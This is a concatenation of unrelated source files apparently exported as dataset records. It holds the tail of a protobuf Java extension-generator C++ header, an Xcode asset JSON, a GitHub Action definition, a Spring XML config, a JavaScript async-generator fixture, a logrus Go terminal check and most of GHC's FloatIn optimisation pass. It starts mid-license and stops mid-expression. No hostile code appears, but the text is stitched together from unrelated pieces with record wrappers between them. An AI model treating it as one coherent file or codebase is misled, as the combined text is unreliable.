ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n// Author: kenton@google.com (Kenton Varda)\n// Based on original Protocol Buffers design by\n// Sanjay Ghemawat, Jeff Dean, and others.\n\n#ifndef GOOGLE_PROTOBUF_COMPILER_JAVA_EXTENSION_H__\n#define GOOGLE_PROTOBUF_COMPILER_JAVA_EXTENSION_H__\n\n#include <map>\n#include <string>\n\n#include <google/protobuf/stubs/common.h>\n\nnamespace google {\nnamespace protobuf {\n class FieldDescriptor; // descriptor.h\n namespace compiler {\n namespace java {\n class Context; // context.h\n class ClassNameResolver; // name_resolver.h\n }\n }\n namespace io {\n class Printer; // printer.h\n }\n}\n\nnamespace protobuf {\nnamespace compiler {\nnamespace java {\n\n// Generates code for an extension, which may be within the scope of some\n// message or may be at file scope. This is much simpler than FieldGenerator\n// since extensions are just simple identifiers with interesting types.\nclass ExtensionGenerator {\n public:\n explicit ExtensionGenerator() {}\n virtual ~ExtensionGenerator() {}\n\n virtual void Generate(io::Printer* printer) = 0;\n\n // Returns an estimate of the number of bytes the printed code will compile to\n virtual int GenerateNonNestedInitializationCode(io::Printer* printer) = 0;\n\n // Returns an estimate of the number of bytes the printed code will compile to\n virtual int GenerateRegistrationCode(io::Printer* printer) = 0;\n\n protected:\n static void InitTemplateVars(const FieldDescriptor* descriptor,\n const string& scope,\n bool immutable,\n ClassNameResolver* name_resolver,\n std::map<string, string>* vars_pointer);\n\n private:\n GOOGLE_DISALLOW_EVIL_CONSTRUCTORS(ExtensionGenerator);\n};\n\nclass ImmutableExtensionGenerator : public ExtensionGenerator {\n public:\n explicit ImmutableExtensionGenerator(const FieldDescriptor* descriptor,\n Context* context);\n virtual ~ImmutableExtensionGenerator();\n\n virtual void Generate(io::Printer* printer);\n virtual int GenerateNonNestedInitializationCode(io::Printer* printer);\n virtual int GenerateRegistrationCode(io::Printer* printer);\n\n protected:\n const FieldDescriptor* descriptor_;\n Context* context_;\n ClassNameResolver* name_resolver_;\n string scope_;\n\n private:\n GOOGLE_DISALLOW_EVIL_CONSTRUCTORS(ImmutableExtensionGenerator);\n};\n\n} // namespace java\n} // namespace compiler\n} // namespace protobuf\n\n} // namespace google\n#endif // GOOGLE_PROTOBUF_COMPILER_JAVA_EXTENSION_H__\n"} {"text": "{\n \"images\" : [\n {\n \"orientation\" : \"landscape\",\n \"idiom\" : \"tv\",\n \"extent\" : \"full-screen\",\n \"minimum-system-version\" : \"9.0\",\n \"scale\" : \"1x\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}"} {"text": "name: 'Wait'\ndescription: 'Wait a designated number of milliseconds'\ninputs:\n milliseconds: # id of input\n description: 'number of milliseconds to wait'\n required: true\n default: '1000'\noutputs:\n time: # output will be available to future steps\n description: 'The message to output'\nruns:\n using: 'node12'\n main: 'dist/index.js'\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n\n ***************************************************************************\n Copyright (c) 2010 Qcadoo Limited\n Project: Qcadoo MES\n Version: 1.4\n\n This file is part of Qcadoo.\n\n Qcadoo is free software; you can redistribute it and/or modify\n it under the terms of the GNU Affero General Public License as published\n by the Free Software Foundation; either version 3 of the License,\n or (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty\n of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n See the GNU Affero General Public License for more details.\n\n You should have received a copy of the GNU Affero General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n ***************************************************************************\n\n-->\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\t xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\t xmlns:context=\"http://www.springframework.org/schema/context\"\n\t xmlns:mvc=\"http://www.springframework.org/schema/mvc\"\n\t xsi:schemaLocation=\"\n\t\thttp://www.springframework.org/schema/beans \n\t\thttp://www.springframework.org/schema/beans/spring-beans-3.0.xsd \n\t\thttp://www.springframework.org/schema/context \n\t\thttp://www.springframework.org/schema/context/spring-context-3.0.xsd\n\t\thttp://www.springframework.org/schema/mvc\n\t\thttp://www.springframework.org/schema/mvc/spring-mvc-3.0.xsd\">\n\n\t<context:component-scan base-package=\"com.qcadoo.mes.materialFlowResources\">\n\t\t<context:include-filter type=\"annotation\"\n\t\t\t\t\t\t\t\texpression=\"org.springframework.stereotype.Controller\"/>\n\t</context:component-scan>\n\n\t<mvc:resources mapping=\"/materialFlowResources/resources/**\"\n\t\t\t\t location=\"classpath:materialFlowResources/public/resources/\"/>\n\n</beans>"} {"text": "/* eslint-disable node/no-unsupported-features/es-syntax */\n\nmodule.exports = async function*(x = 1, z = 0) {\n yield* [10 + x + z, 20 + x + z];\n await new Promise(res => process.nextTick(res));\n if (z === 666) throw new Error(\"An error occured\");\n yield* [30 + x + z, 40 + x + z];\n};\n"} {"text": "// +build darwin dragonfly freebsd netbsd openbsd\n// +build !js\n\npackage logrus\n\nimport \"golang.org/x/sys/unix\"\n\nconst ioctlReadTermios = unix.TIOCGETA\n\nfunc isTerminal(fd int) bool {\n\t_, err := unix.IoctlGetTermios(fd, ioctlReadTermios)\n\treturn err == nil\n}\n"} {"text": "{-\n(c) The GRASP/AQUA Project, Glasgow University, 1992-1998\n\n************************************************************************\n* *\n\\section[FloatIn]{Floating Inwards pass}\n* *\n************************************************************************\n\nThe main purpose of @floatInwards@ is floating into branches of a\ncase, so that we don't allocate things, save them on the stack, and\nthen discover that they aren't needed in the chosen branch.\n-}\n\n{-# LANGUAGE CPP #-}\n{-# OPTIONS_GHC -fprof-auto #-}\n{-# OPTIONS_GHC -Wno-incomplete-uni-patterns #-}\n\nmodule GHC.Core.Opt.FloatIn ( floatInwards ) where\n\n#include \"HsVersions.h\"\n\nimport GHC.Prelude\nimport GHC.Platform\n\nimport GHC.Core\nimport GHC.Core.Make hiding ( wrapFloats )\nimport GHC.Driver.Types ( ModGuts(..) )\nimport GHC.Core.Utils\nimport GHC.Core.FVs\nimport GHC.Core.Opt.Monad ( CoreM )\nimport GHC.Types.Id ( isOneShotBndr, idType, isJoinId, isJoinId_maybe )\nimport GHC.Types.Var\nimport GHC.Core.Type\nimport GHC.Types.Var.Set\nimport GHC.Utils.Misc\nimport GHC.Driver.Session\nimport GHC.Utils.Panic\nimport GHC.Types.Basic ( RecFlag(..), isRec )\n\n{-\nTop-level interface function, @floatInwards@. Note that we do not\nactually float any bindings downwards from the top-level.\n-}\n\nfloatInwards :: ModGuts -> CoreM ModGuts\nfloatInwards pgm@(ModGuts { mg_binds = binds })\n = do { dflags <- getDynFlags\n ; let platform = targetPlatform dflags\n ; return (pgm { mg_binds = map (fi_top_bind platform) binds }) }\n where\n fi_top_bind platform (NonRec binder rhs)\n = NonRec binder (fiExpr platform [] (freeVars rhs))\n fi_top_bind platform (Rec pairs)\n = Rec [ (b, fiExpr platform [] (freeVars rhs)) | (b, rhs) <- pairs ]\n\n\n{-\n************************************************************************\n* *\n\\subsection{Mail from Andr\\'e [edited]}\n* *\n************************************************************************\n\n{\\em Will wrote: What??? I thought the idea was to float as far\ninwards as possible, no matter what. This is dropping all bindings\nevery time it sees a lambda of any kind. Help! }\n\nYou are assuming we DO DO full laziness AFTER floating inwards! We\nhave to [not float inside lambdas] if we don't.\n\nIf we indeed do full laziness after the floating inwards (we could\ncheck the compilation flags for that) then I agree we could be more\naggressive and do float inwards past lambdas.\n\nActually we are not doing a proper full laziness (see below), which\nwas another reason for not floating inwards past a lambda.\n\nThis can easily be fixed. The problem is that we float lets outwards,\nbut there are a few expressions which are not let bound, like case\nscrutinees and case alternatives. After floating inwards the\nsimplifier could decide to inline the let and the laziness would be\nlost, e.g.\n\n\\begin{verbatim}\nlet a = expensive ==> \\b -> case expensive of ...\nin \\ b -> case a of ...\n\\end{verbatim}\nThe fix is\n\\begin{enumerate}\n\\item\nto let bind the algebraic case scrutinees (done, I think) and\nthe case alternatives (except the ones with an\nunboxed type)(not done, I think). This is best done in the\nGHC.Core.Opt.SetLevels module, which tags things with their level numbers.\n\\item\ndo the full laziness pass (floating lets outwards).\n\\item\nsimplify. The simplifier inlines the (trivial) lets that were\n created but were not floated outwards.\n\\end{enumerate}\n\nWith the fix I think Will's suggestion that we can gain even more from\nstrictness by floating inwards past lambdas makes sense.\n\nWe still gain even without going past lambdas, as things may be\nstrict in the (new) context of a branch (where it was floated to) or\nof a let rhs, e.g.\n\\begin{verbatim}\nlet a = something case x of\nin case x of alt1 -> case something of a -> a + a\n alt1 -> a + a ==> alt2 -> b\n alt2 -> b\n\nlet a = something let b = case something of a -> a + a\nin let b = a + a ==> in (b,b)\nin (b,b)\n\\end{verbatim}\nAlso, even if a is not found to be strict in the new context and is\nstill left as a let, if the branch is not taken (or b is not entered)\nthe closure for a is not built.\n\n************************************************************************\n* *\n\\subsection{Main floating-inwards code}\n* *\n************************************************************************\n-}\n\ntype FreeVarSet = DIdSet\ntype BoundVarSet = DIdSet\n\ndata FloatInBind = FB BoundVarSet FreeVarSet FloatBind\n -- The FreeVarSet is the free variables of the binding. In the case\n -- of recursive bindings, the set doesn't include the bound\n -- variables.\n\ntype FloatInBinds = [FloatInBind]\n -- In reverse dependency order (innermost binder first)\n\nfiExpr :: Platform\n -> FloatInBinds -- Binds we're trying to drop\n -- as far \"inwards\" as possible\n -> CoreExprWithFVs -- Input expr\n -> CoreExpr -- Result\n\nfiExpr _ to_drop (_, AnnLit lit) = wrapFloats to_drop (Lit lit)\n -- See Note [Dead bindings]\nfiExpr _ to_drop (_, AnnType ty) = ASSERT( null to_drop ) Type ty\nfiExpr _ to_drop (_, AnnVar v) = wrapFloats to_drop (Var v)\nfiExpr _ to_drop (_, AnnCoercion co) = wrapFloats to_drop (Coercion co)\nfiExpr platform to_drop (_, AnnCast expr (co_ann, co))\n = wrapFloats (drop_here ++ co_drop) $\n Cast (fiExpr platform e_drop expr) co\n where\n [drop_here, e_drop, co_drop]\n = sepBindsByDropPoint platform False\n [freeVarsOf expr, freeVarsOfAnn co_ann]\n to_drop\n\n{-\nApplications: we do float inside applications, mainly because we\nneed to get at all the arguments. The next simplifier run will\npull out any silly ones.\n-}\n\nfiExpr platform to_drop ann_expr@(_,AnnApp {})\n = wrapFloats drop_here $ wrapFloats extra_drop $\n mkTicks ticks $\n mkApps (fiExpr platform fun_drop ann_fun)\n (zipWithEqual \"fiExpr\" (fiExpr platform) arg_drops ann_args)\n -- use zipWithEqual, we should have\n -- length ann_args = length arg_fvs = length arg_drops\n where\n (ann_fun, ann_args, ticks) = collectAnnArgsTicks tickishFloatable ann_expr\n fun_ty = exprType (deAnnotate ann_fun)\n fun_fvs = freeVarsOf ann_fun\n arg_fvs = map freeVarsOf ann_args\n\n (drop_here : extra_drop : fun_drop : arg_drops)\n = sepBindsByDropPoint platform False\n (extra_fvs : fun_fvs : arg_fvs)\n to_drop\n -- Shortcut behaviour: if to_drop is empty,\n -- sepBindsByDropPoint returns a suitable bunch of empty\n -- lists without evaluating extra_fvs, and hence without\n -- peering into each argument\n\n (_, extra_fvs) = foldl' add_arg (fun_ty, extra_fvs0) ann_args\n extra_fvs0 = case ann_fun of\n (_, AnnVar _) -> fun_fvs\n _ -> emptyDVarSet\n -- Don't float the binding for f into f x y z; see Note [Join points]\n -- for why we *can't* do it when f is a join point. (If f isn't a\n -- join point, floating it in isn't especially harmful but it's\n -- useless since the simplifier will immediately float it back out.)\n\n add_arg :: (Type,FreeVarSet) -> CoreExprWithFVs -> (Type,FreeVarSet)\n add_arg (fun_ty, extra_fvs) (_, AnnType ty)\n = (piResultTy fun_ty ty, extra_fvs)\n\n add_arg (fun_ty, extra_fvs) (arg_fvs, arg)\n | noFloatIntoArg arg arg_ty\n = (res_ty, extra_fvs `unionDVarSet` arg_fvs)\n | otherwise\n = (res_ty, extra_fvs)\n where\n (_, arg_ty, res_ty) = splitFunTy fun_ty\n\n{- Note [Dead bindings]\n~~~~~~~~~~~~~~~~~~~~~~~\nAt a literal we won't usually have any floated bindings; the\nonly way that can happen is if the binding wrapped the literal\n/in the original input program/. e.g.\n case x of { DEFAULT -> 1# }\nBut, while this may be unusual it is not actually wrong, and it did\nonce happen (#15696).\n\nNote [Do not destroy the let/app invariant]\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nWatch out for\n f (x +# y)\nWe don't want to float bindings into here\n f (case ... of { x -> x +# y })\nbecause that might destroy the let/app invariant, which requires\nunlifted function arguments to be ok-for-speculation.\n\nNote [Join points]\n~~~~~~~~~~~~~~~~~~\nGenerally, we don't need to worry about join points - there are places we're\nnot allowed to float them, but since they can't have occurrences in those\nplaces, we're not tempted.\n\nWe do need to be careful about jumps, however:\n\n joinrec j x y z = ... in\n jump j a b c\n\nPrevious versions often floated the definition of a recursive function into its\nonly non-recursive occurrence. But for a join point, this is a disaster:\n\n (joinrec j x y z = ... in\n jump j) a b c -- wrong!\n\nEvery jump must be exact, so the jump to j must have three arguments. Hence\nwe're careful not to float into the target of a jump (though we can float into\nthe arguments just fine).\n\nNote [Floating in past a lambda group]\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n* We must be careful about floating inside a value lambda.\n That risks losing laziness.\n The float-out pass might rescue us, but then again it might not.\n\n* We must be careful about type lambdas too. At one time we did, and\n there is no risk of duplicating work thereby, but we do need to be\n careful. In particular, here is a bad case (it happened in the\n cichelli benchmark:\n let v = ...\n in let f = /\\t -> \\a -> ...\n ==>\n let f = /\\t -> let v = ... in \\a -> ...\n This is bad as now f is an updatable closure (update PAP)\n and has arity 0.\n\n* Hack alert! We only float in through one-shot lambdas,\n not (as you might guess) through lone big lambdas.\n Reason: we float *out* past big lambdas (see the test in the Lam\n case of FloatOut.floatExpr) and we don't want to float straight\n back in again.\n\n It *is* important to float into one-shot lambdas, however;\n see the remarks with noFloatIntoRhs.\n\nSo we treat lambda in groups, using the following rule:\n\n Float in if (a) there is at least one Id,\n and (b) there are no non-one-shot Ids\n\n Otherwise drop all the bindings outside the group.\n\nThis is what the 'go' function in the AnnLam case is doing.\n\n(Join points are handled similarly: a join point is considered one-shot iff\nit's non-recursive, so we float only into non-recursive join points.)\n\nUrk! if all are tyvars, and we don't float in, we may miss an\n opportunity to float inside a nested case branch\n\n\nNote [Floating coercions]\n~~~~~~~~~~~~~~~~~~~~~~~~~\nWe could, in principle, have a coercion binding like\n case f x of co { DEFAULT -> e1 e2 }\nIt's not common to have a function that returns a coercion, but nothing\nin Core prohibits it. If so, 'co' might be mentioned in e1 or e2\n/only in a type/. E.g. suppose e1 was\n let (x :: Int |> co) = blah in blah2\n\n\nBut, with coercions appearing in types, there is a complication: we\nmight be floating in a \"strict let\" -- that is, a case. Case expressions\nmention their return type. We absolutely can't float a coercion binding\ninward to the point that the type of the expression it's about to wrap\nmentions the coercion. So we include the union of the sets of free variables\nof the types of all the drop points involved. If any of the floaters\nbind a coercion variable mentioned in any of the types, that binder must\nbe dropped right away.\n\n-}\n\nfiExpr platform to_drop lam@(_, AnnLam _ _)\n | noFloatIntoLam bndrs -- Dump it all here\n -- NB: Must line up with noFloatIntoRhs (AnnLam...); see #7088\n = wrapFloats to_drop (mkLams bndrs (fiExpr platform [] body))\n\n | otherwise -- Float inside\n = mkLams bndrs (fiExpr platform to_drop body)\n\n where\n (bndrs, body) = collectAnnBndrs lam\n\n{-\nWe don't float lets inwards past an SCC.\n ToDo: keep info on current cc, and when passing\n one, if it is not the same, annotate all lets in binds with current\n cc, change current cc to the new one and float binds into expr.\n-}\n\nfiExpr platform to_drop (_, AnnTick tickish expr)\n | tickish `tickishScopesLike` SoftScope\n = Tick tickish (fiExpr platform to_drop expr)\n\n | otherwise -- Wimp out for now - we could push values in\n = wrapFloats to_drop (Tick tickish (fiExpr platform [] expr))\n\n{-\nFor @Lets@, the possible ``drop points'' for the \\tr{to_drop}\nbindings are: (a)~in the body, (b1)~in the RHS of a NonRec binding,\nor~(b2), in each of the RHSs of the pairs of a @Rec@.\n\nNote that we do {\\em weird things} with this let's binding. Consider:\n\\begin{verbatim}\nlet\n w = ...\nin {\n let v = ... w ...\n in ... v .. w ...\n}\n\\end{verbatim}\nLook at the inner \\tr{let}. As \\tr{w} is used in both the bind and\nbody of the inner let, we could panic and leave \\tr{w}'s binding where\nit is. But \\tr{v} is floatable further into the body of the inner let, and\n{\\em then} \\tr{w} will also be only in the body of that inner let.\n\nSo: rather than drop \\tr{w}'s binding here, we add it onto the list of\nthings to drop in the outer let's body, and let nature take its\ncourse.\n\nNote [extra_fvs (1): avoid floating into RHS]\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nConsider let x=\\y....t... in body. We do not necessarily want to float\na binding for t into the RHS, because it'll immediately be floated out\nagain. (It won't go inside the lambda else we risk losing work.)\nIn letrec, we need to be more careful still. We don't want to transform\n let x# = y# +# 1#\n in\n letrec f = \\z. ...x#...f...\n in ...\ninto\n letrec f = let x# = y# +# 1# in \\z. ...x#...f... in ...\nbecause now we can't float the let out again, because a letrec\ncan't have unboxed bindings.\n\nSo we make \"extra_fvs\" which is the rhs_fvs of such bindings, and\narrange to dump bindings that bind extra_fvs before the entire let.\n\nNote [extra_fvs (2): free variables of rules]\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nConsider\n let x{rule mentioning y} = rhs in body\nHere y is not free in rhs or body; but we still want to dump bindings\nthat bind y outside the let. So we augment extra_fvs with the\nidRuleAndUnfoldingVars of x. No need for type variables, hence not using\nidFreeVars.\n-}\n\nfiExpr platform to_drop (_,AnnLet bind body)\n = fiExpr platform (after ++ new_float : before) body\n -- to_drop is in reverse dependency order\n where\n (before, new_float, after) = fiBind platform to_drop bind body_fvs\n body_fvs = freeVarsOf body\n\n{- Note [Floating primops]\n~~~~~~~~~~~~~~~~~~~~~~~~~~\nWe try to float-in a case expression over an unlifted type. The\nmotivating example was #5658: in particular, this change allows\narray indexing operations, which have a single DEFAULT alternative\nwithout any binders, to be floated inward.\n\nSIMD primops for unpacking SIMD vectors into an unboxed tuple of unboxed\nscalars also need to be floated inward, but unpacks have a single non-DEFAULT\nalternative that binds the elements of the tuple. We now therefore also support\nfloating in cases with a single alternative that may bind values.\n\nBut there are wrinkles\n\n* Which unlifted cases do we float?\n See Note [PrimOp can_fail and has_side_effects] in GHC.Builtin.PrimOps which\n explains:\n - We can float in can_fail primops (which concerns imprecise exceptions),\n but we can't float them out.\n - But we can float a has_side_effects primop, but NOT inside a lambda,\n so for now we don't float them at all. Hence exprOkForSideEffects.\n - Throwing precise exceptions is a special case of the previous point: We\n may /never/ float in a call to (something that ultimately calls)\n 'raiseIO#'.\n See Note [Precise exceptions and strictness analysis] in GHC.Types.Demand.\n\n* Because we can float can-fail primops (array indexing, division) inwards\n but not outwards, we must be careful not to transform\n case a /# b of r -> f (F# r)\n ===>\n f (case a /# b of r -> F# r)\n because that creates a new thunk that wasn't there before. And\n because it can't be floated out (can_fail), the thunk will stay\n there. Disaster! (This happened in nofib 'simple' and 'scs'.)\n\n Solution: only float cases into the branches of other cases, and\n not into the arguments of an application, or the RHS of a let. This\n is somewhat conservative, but it's simple. And it still hits the\n cases like #5658. This is implemented in sepBindsByJoinPoint;\n if is_case is False we dump all floating cases right here.\n\n* #14511 is another example of why we want to restrict float-in\n of case-expressions. Consider\n case indexArray# a n of (# r #) -> writeArray# ma i (f r)\n Now, floating that indexing operation into the (f r) thunk will\n not create any new thunks, but it will keep the array 'a' alive\n for much longer than the programmer expected.\n\n So again, not floating a case into a let or argument seems like\n the Right Thing\n\nFor @Case@, the possible drop points for the 'to_drop'\nbindings are:\n (a) inside the scrutinee\n (b) inside one of the alternatives/default (default FVs always /first/!).\n\n-}\n\nfiExpr platform to_drop (_, AnnCase scrut case_bndr _ [(con,alt_bndrs,rhs)])\n | isUnliftedType (idType case_bndr)\n , exprOkForSideEffects (deAnnotate scrut)\n -- See Note [Floating primops]\n = wrapFloats shared_binds $\n fiExpr platform (case_float : rhs_binds) rhs\n where\n case_float = FB (mkDVarSet (case_bndr : alt_bndrs)) scrut_fvs\n (FloatCase scrut' case_bndr con alt_bndrs)\n scrut' = fiExpr platform scrut_binds scrut\n rhs_fvs = freeVarsOf rhs `delDVarSetList` (case_bndr : alt_bndrs)\n scrut_fvs = freeVarsOf scrut\n\n [shared_binds, scrut_binds, rhs_binds]\n = sepBindsByDropPoint platform False\n [scrut_fvs, rhs_fvs]\n to_drop\n\nfiExpr platform to_drop (_, AnnCase scrut case_bndr ty alts)\n = wrapFloats drop_here1 $\n wrapFloats drop_here2 $\n Case (fiExpr platform scrut_drops scrut) case_bndr ty\n (zipWithEqual \"fiExpr\" fi_alt alts_drops_s alts)\n -- use zipWithEqual, we should have length alts_drops_s = length alts\n where\n -- Float into the scrut and alts-considered-together just like App\n [drop_here1, scrut_drops, alts_drops]\n = sepBindsByDropPoint platform False\n [scrut_fvs, all_alts_fvs]\n to_drop\n\n -- Float into the alts with the is_case flag set\n (drop_here2 : alts_drops_s)\n | [ _ ] <- alts = [] : [alts_drops]\n | otherwise = sepBindsByDropPoint platform True alts_fvs alts_drops\n\n scrut_fvs = freeVarsOf scrut\n alts_fvs = map alt_fvs alts\n all_alts_fvs = unionDVarSets alts_fvs\n alt_fvs (_con, args, rhs)\n = foldl' delDVarSet (freeVarsOf rhs) (case_bndr:args)\n -- Delete case_bndr and args from free vars of rhs\n -- to get free vars of alt\n\n fi_alt to_drop (con, args, rhs) = (con, args, fiExpr platform to_drop rhs)\n\n------------------\nfiBind :: Platform\n -> FloatInBinds -- Binds we're trying to drop\n -- as far \"inwards\" as possible\n -> CoreBindWithFVs -- Input binding\n -> DVarSet -- Free in scope of binding\n -> ( FloatInBinds -- Land these before\n , FloatInBind -- The binding itself\n , FloatInBinds) -- Land these after\n\nfiBind platform to_drop (AnnNonRec id ann_rhs@(rhs_fvs, rhs)) body_fvs\n = ( extra_binds ++ shared_binds -- Land these before\n -- See Note [extra_fvs (1,2)]\n , FB (unitDVarSet id) rhs_fvs' -- The new binding itself\n (FloatLet (NonRec id rhs'))\n , body_binds ) -- Land these after\n\n where\n body_fvs2 = body_fvs `delDVarSet` id\n\n rule_fvs = bndrRuleAndUnfoldingVarsDSet id -- See Note [extra_fvs (2): free variables of rules]\n extra_fvs | noFloatIntoRhs NonRecursive id rhs\n = rule_fvs `unionDVarSet` rhs_fvs\n | otherwise\n = rule_fvs\n -- See Note [extra_fvs (1): avoid floating into RHS]\n -- No point in floating in only to float straight out again\n -- We *can't* float into ok-for-speculation unlifted RHSs\n -- But do float into join points\n\n [shared_binds, extra_binds, rhs_binds, body_binds]\n = sepBindsByDropPoint platform False\n [extra_fvs, rhs_fvs, body_fvs2]\n to_drop\n\n -- Push rhs_binds into the right hand side of the binding\n rhs' = fiRhs platform rhs_binds id ann_rhs\n rhs_fvs' = rhs_fvs `unionDVarSet` floatedBindsFVs rhs_binds `unionDVarSet` rule_fvs\n -- Don't forget the rule_fvs; the binding mentions them!\n\nfiBind platform to_drop (AnnRec bindings) body_fvs\n = ( extra_binds ++ shared_binds\n , FB (mkDVarSet ids) rhs_fvs'\n (FloatLet (Rec (fi_bind rhss_binds bindings)))\n , body_binds )\n where\n (ids, rhss) = unzip bindings\n rhss_fvs = map freeVarsOf rhss\n\n -- See Note [extra_fvs (1,2)]\n rule_fvs = mapUnionDVarSet bndrRuleAndUnfoldingVarsDSet ids\n extra_fvs = rule_fvs `unionDVarSet`\n unionDVarSets [ rhs_fvs | (bndr, (rhs_fvs, rhs)) <- bindings\n , noFloatIntoRhs Recursive bndr rhs ]\n\n (shared_binds:extra_binds:body_binds:rhss_binds)\n = sepBindsByDropPoint platform False\n (extra_fvs:body_fvs:rhss_fvs)\n to_drop\n\n rhs_fvs' = unionDVarSets rhss_fvs `unionDVarSet`\n unionDVarSets (map floatedBindsFVs rhss_binds) `unionDVarSet`\n rule_fvs -- Don't forget the rule variables!\n\n -- Push rhs_binds into the right hand side of the binding\n fi_bind :: [FloatInBinds] -- one per \"drop pt\" conjured w/ fvs_of_rhss\n -> [(Id, CoreExprWithFVs)]\n -> [(Id, CoreExpr)]\n\n fi_bind to_drops pairs\n = [ (binder, fiRhs platform to_drop binder rhs)\n | ((binder, rhs), to_drop) <- zipEqual \"fi_bind\" pairs to_drops ]\n\n------------------\nfiRhs :: Platform -> FloatInBinds -> CoreBndr -> CoreExprWithFVs -> CoreExpr\nfiRhs platform to_drop bndr rhs\n | Just join_arity <- isJoinId_maybe bndr\n , let (bndrs, body) = collectNAnnBndrs join_arity rhs\n = mkLams bndrs (fiExpr platform to_drop body)\n | otherwise\n = fiExpr platform to_drop rhs\n\n------------------\nnoFloatIntoLam :: [Var] -> Bool\nnoFloatIntoLam bndrs = any bad bndrs\n where\n bad b = isId b && not (isOneShotBndr b)\n -- Don't float inside a non-one-shot lambda\n\nnoFloatIntoRhs :: RecFlag -> Id -> CoreExprWithFVs' -> Bool\n-- ^ True if it's a bad idea to float bindings into this RHS\nnoFloatIntoRhs is_rec bndr rhs\n | isJoinId bndr\n = isRec is_rec -- Joins are one-shot iff non-recursive\n\n | otherwise\n = noFloatIntoArg rhs (idType bndr)\n\nnoFloatIntoArg :: CoreExprWithFVs' -> Type -> Bool\nnoFloatIntoArg expr expr_ty\n | isUnliftedType expr_ty\n = True -- See Note [Do not destroy the let/app invariant]\n\n | AnnLam bndr e <- expr\n , (bndrs, _) <- collectAnnBndrs e\n = noFloatIntoLam (bndr:bndrs) -- Wrinkle 1 (a)\n || all isTyVar (bndr:bndrs) -- Wrinkle 1 (b)\n -- See Note [noFloatInto considerations] wrinkle 2\n\n | otherwise -- Note [noFloatInto considerations] wrinkle 2\n = exprIsTrivial deann_expr || exprIsHNF deann_expr\n where\n deann_expr = deAnnotate' expr\n\n{- Note [noFloatInto considerations]\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nWhen do we want to float bindings into\n - noFloatIntoRHs: the RHS of a let-binding\n - noFloatIntoArg: the argument of a function application\n\nDefinitely don't float in if it has unlifted type; that\nwould destroy the let/app invariant.\n\n* Wrinkle 1: do not float in if\n (a) any non-one-shot value lambdas\n or (b) all type lambdas\n In both cases we'll float straight back out again\n NB: Must line up with fiExpr (AnnLam...); see #7088\n\n (a) is important: we /must/ float into a one-shot lambda group\n (which includes join points). This makes a big difference\n for things like\n f x# = let x = I# x#\n in let j = \\() -> ...x...\n in if <condition> then normal-path else j ()\n If x is used only in the error case join point, j, we must float the\n boxing constructor into it, else we box it every time which is very\n bad news indeed.\n\n* Wrinkle 2: for RHSs, do not float into a HNF; we'll just float right\n back out again... not tragic, but a waste of time.\n\n For function arguments we will still end up with this\n in-then-out stuff; consider\n letrec x = e in f x\n Here x is not a HNF, so we'll produce\n f (letrec x = e in x)\n which is OK... it's not that common, and we'll end up\n floating out again, in CorePrep if not earlier.\n Still, we use exprIsTrivial to catch this case (sigh)\n\n\n************************************************************************\n* *\n\\subsection{@sepBindsByDropPoint@}\n* *\n************************************************************************\n\nThis is the crucial function. The idea is: We have a wad of bindings\nthat we'd like to distribute inside a collection of {\\em drop points};\ninsides the alternatives of a \\tr{case} would be one example of some\ndrop points; the RHS and body of a non-recursive \\tr{let} binding\nwould be another (2-element) collection.\n\nSo: We're given a list of sets-of-free-variables, one per drop point,\nand a list of floating-inwards bindings. If a binding can go into\nonly one drop point (without suddenly making something out-of-scope),\nin it goes. If a binding is used inside {\\em multiple} drop points,\nthen it has to go in a you-must-drop-it-above-all-these-drop-points\npoint.\n\nWe have to maintain the order on these drop-point-related lists.\n-}\n\n-- pprFIB :: FloatInBinds -> SDoc\n-- pprFIB fibs = text \"FIB:\" <+> ppr [b | FB _ _ b <- fibs]\n\nsepBindsByDropPoint\n :: Platform\n -> Bool -- True <=> is case expression\n -> [FreeVarSet] -- One set of FVs per drop point\n -- Always at least two long!\n -> FloatInBinds -- Candidate floaters\n -> [FloatInBinds] -- FIRST one is bindings which must not be floated\n -- inside any drop point; the rest correspond\n -- one-to-one with the input list of FV sets\n\n-- Every input floater is returned somewhere in the result;\n-- none are dropped, not even ones which don't seem to be\n-- free in *any* of the drop-point fvs. Why? Because, for example,\n-- a binding (let x = E in B) might have a specialised version of\n-- x (say x') stored inside x, but x' isn't free in E or B.\n\ntype DropBox = (FreeVarSet, FloatInBinds)\n\nsepBindsByDropPoint platform is_case drop_pts floaters\n | null floaters -- Shortcut common case\n = [] : [[] | _ <- drop_pts]\n\n | otherwise\n = ASSERT( drop_pts `lengthAtLeast` 2 )\n go floaters (map (\\fvs -> (fvs, [])) (emptyDVarSet : drop_pts))\n where\n n_alts = length drop_pts\n\n go :: FloatInBinds -> [DropBox] -> [FloatInBinds]\n -- The *first* one in the argument list is the drop_here set\n -- The FloatInBinds in the lists are in the reverse of\n -- the normal FloatInBinds order; that is, they are the right way round!\n\n go [] drop_boxes = map (reverse . snd) drop_boxes\n\n go (bind_w_fvs@(FB bndrs bind_fvs bind) : binds) drop_boxes@(here_box : fork_boxes)\n = go binds new_boxes\n where\n -- \"here\" means the group of bindings dropped at the top of the fork\n\n (used_here : used_in_flags) = [ fvs `intersectsDVarSet` bndrs\n | (fvs, _) <- drop_boxes]\n\n drop_here = used_here || cant_push\n\n n_used_alts = count id used_in_flags -- returns number of Trues in list.\n\n cant_push\n | is_case = n_used_alts == 